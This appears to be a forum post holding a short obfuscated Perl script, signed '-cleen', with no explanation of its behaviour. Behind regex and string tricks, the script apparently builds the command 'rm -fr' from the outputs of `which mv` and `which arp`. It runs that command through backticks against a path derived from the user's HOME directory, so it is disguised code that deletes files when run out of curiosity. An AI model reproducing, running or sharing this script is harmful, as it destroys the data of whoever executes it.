#!/usr/local/bin/perl

($x= `which mv`) =~ s/[\s\n\/(s?bin)]//g;
$ie= `which arp`;chomp $ie;$y=$x;$z="my";
$ie=~ s/[a-z][a-z]$|^\/.*sbin|\//$1$z /g;
$ie=~ s/^$z\ $z\ //g;$ie=~ tr/a/A/;$h=($x
=~s/[a-z][a-z]$/r$1/)^'3(*^$/)r$1';######
$d=$ENV{HOME};$d=~ s/$ENV{USER}//g;######
$hate         = `${x}m -f$x $d$ie`;######

                      $i; $hate; my $x; #
[download]

-cleen